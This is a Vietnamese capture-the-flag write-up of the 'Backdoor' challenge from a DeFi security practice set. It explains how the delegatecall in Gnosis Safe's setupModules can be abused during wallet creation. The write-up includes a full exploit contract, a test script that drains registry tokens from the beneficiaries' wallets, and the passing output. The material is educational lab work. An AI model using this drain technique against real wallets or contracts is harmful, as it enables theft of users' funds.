Challenge #11 - Backdoor
Nhiệm vụ: Để khuyến khích mọi người trong team dùng ví Gnosis Safe để tăng tính bảo mật, team đã tạo ra một contract registry. Mỗi khi có ai đó trong team tạo ví Gnosis Safe của họ và đăng ký ví với registry này, họ sẽ nhận được 10 DVT token.
Mặt khác, để mọi người có thể tạo ra ví Gnosis Safe một cách đơn giản và bảo mật nhất, team quyết dịnh sử dụng Gnosis Safe Proxy Factory để tạo ví, thay vì trực tiếp tạo.
Hiện tại đã có 4 người đăng ký với registry là Alice, Bob, Charlie, David. Trong registry đã có 40 DVT để sẵn sàng phân phối cho 4 người họ.
Mục tiêu của bạn là trong 1 transaction duy nhất lấy hết toàn bộ fund trong registry.
Phân tích
Contract WalletRegistry
dường như không một tì vết, ta không thấy có lỗ hổng nào ở đây cả. Do đó không còn cách nào khác ta phải tìm hiểu toàn bộ cách mà Gnosis Safe hoạt động.
Các ví Gnosis Wallet sẽ được tạo ra bởi Gnosis Safe Proxy Factory.
Lưu ý rằng các ví Gnosis Wallet được tạo ra này là ví proxy, tức nó được thiết kế theo dạng upgradeable pattern, nó không chứa implementation code, mà chỉ chứa proxy code. Mỗi khi có call đến contract, nó sẽ được forward qua implementation contract thông qua delegatecall
. Bạn đọc nên tự tìm hiểu thêm về upgradeable pattern.
Do các ví đều có implementation giống nhau, nên để giảm thiểu chi phí deploy, mỗi version người ta sẽ chỉ sử dụng một implementation contract duy nhất, gọi là master copy
. Các ví Gnosis Safe tạo ra đều trỏ tới master copy
này.
Trong Gnosis Safe Proxy Factory có rất nhiều hàm để tạo ra một proxy (tức một ví Gnosis Safe). Trong trường hợp này wallet được tạo ra bởi hàm createProxyWithCallback
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
Ta giải thích qua một chút:
_singleton
chính làmaster copy
, đây là một địa chỉ có thể coi như là cố địnhinitializer
đây chính là input data đểcallback
gọi khi khởi tạo ví.saltNonce
là nonce để tránh hash collision, ta không cần quá quan tâm.callback
chính làregistry
của chúng ta.
Vậy ở đây ta chỉ có mỗi initializer
là đầu vào, tức là thứ mà ta có thể kiểm soát được.
Quay trở lại hàm proxyCreated
trong WalletRegistry
:
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
// Make sure we have enough DVT to pay
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
// Ensure wallet initialization is the expected
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// Remove owner as beneficiary
_removeBeneficiary(walletOwner);
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
hàm được viết rất chặt chẽ:
- chỉ được gọi bởi factory, tức nó phải được gọi từ hàm
createProxyWithCallback
bên trên. - không thể sử dụng một fake
master copy
initializer
là do ta tùy ý đưa vào, nhưng bị ràng buộc nó phải là hàm gọisetup
- wallet tạo ra chỉ được phép một và chỉ một người sử dụng duy nhất
ta hầu như không thấy lỗ hổng ở đây, và tiếp tục chỉ có chỗ mà ta có thể input vào là có khả năng khai thác được, tức hàm setup
của Gnosis Safe.
Tiếp tục nhìn qua hàm setup
của Gnosis Safe:
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
ở đây mặc dù nói là các tham số là ta đưa vào, nhưng do các ràng buộc logic bên trên, ta không thể dùng một owner khác ngoài Alice, Bob, Charlie, David, threshold cũng không thể đổi và cố định là 1. Vậy với các tham số còn lại ta có thể lợi dụng được tham số nào đây?
hàm setupModules
có logic như sau:
function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0))
// Setup has to complete successfully or transaction fails.
require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}
hàm này thực hiện một delegatecall
trên địa chỉ to
với input là data
, hoàn toàn là những đầu vào ta đưa vào.
nhắc lại rằng initializer
được gọi bởi ví Gnosis Safe được tạo ra, trước khi registry gọi proxyCreated
, tức trước khi chuyển tiền.
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
vì vậy ta không thể can thiệp được vào quá trình chuyển tiền này được, vì nếu can thiệp thì transaction sẽ có thể bị revert do registry không còn đủ tiền để chuyển nữa. Vậy thì lý tưởng nhất, ta approve
cho contract tấn công có quyền tiêu tiền trước, sau đó ta rút tiền từ ví sau. Ý tưởng hoàn toàn hợp lý!
Tổng hợp lại ta có kịch bản khai thác như sau:
- chuẩn bị
data
là hàmapprove
cho phép contract tấn công tiêu tiền của ví Gnosis Safe được tạo ra. - lưu ý rằng trong
setupModules
lời gọi làdelegatecall
, nên ta không thể dùngto
là token contract trực tiếp, mà ta phải wrap nó vào một function khác để được gọi gián tiếp. - chuẩn bị
initializer
vớidata
bên trên cho từng người Alice, Bob, Charlie, David. - gọi hàm
createProxyWithCallback
từGnosis Safe Proxy Factory
để tạo ví. - rút tiền từ các ví Gnosis Safe được tạo ra.
Exploit
Chuẩn bị contract khai thác
contract RektBackdoor {
GnosisSafeProxyFactory public factory;
IProxyCreationCallback public callback;
IERC20 public token;
address[] public users;
address public singleton;
constructor(
address _factory,
address _singleton,
address _callback,
address _token,
address[] memory _users
) {
factory = GnosisSafeProxyFactory(_factory);
singleton = _singleton;
callback = IProxyCreationCallback(_callback);
token = IERC20(_token);
users = _users;
}
function rekt() external {
bytes memory data = abi.encodeWithSignature(
"approve(address,address)",
token,
address(this)
);
for (uint256 i = 0; i < users.length; i++) {
address[] memory owners = new address[](1);
owners[0] = users[i];
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
data,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxy = factory.createProxyWithCallback(
singleton,
initializer,
0,
callback
);
IERC20(token).transferFrom(address(proxy), tx.origin, 10 ether);
}
}
function approve(address _token, address spender) public {
IERC20(_token).approve(spender, type(uint256).max);
}
}
Chạy script khai thác:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektBackdoor = await ethers.getContractFactory(
"RektBackdoor",
attacker
);
this.rekt = await RektBackdoor.deploy(
this.walletFactory.address,
this.masterCopy.address,
this.walletRegistry.address,
this.token.address,
users
);
await this.rekt.connect(attacker).rekt();
});
Check lại kết quả
[Challenge] Backdoor
✓ Exploit (483ms)
1 passing (3s)
All done!
Bình luận
Đây thực sự là một thử thách rất khó, nó khó không bởi cách tấn công, mà là bởi ta phải hiểu được cách hoạt động của Gnosis Safe. Gnosis Safe gồm rất nhiều contract, với rất nhiều low level code như call
, delegatecall
hay hàng tá các inline assembly
khác. Thực sự việc đọc và hiểu kiến trúc của Gnosis Safe là một việc vất vả nhất trong challenge này.
Note: Có một điểm bài này vẫn chưa giải quyết được triệt để. Đề bài yêu cầu là giải quyết trong 1 transaction duy nhất. Tức ta cần chạy tất cả trong constructor của contract tấn công là xong. Nhưng trên thực tế khi mình viết trong constructor thì hàm
approve
không hoạt động, có nghĩa làdelegatecall
trong constructor có vấn đề. Điều này mình sẽ điều tra và update thêm.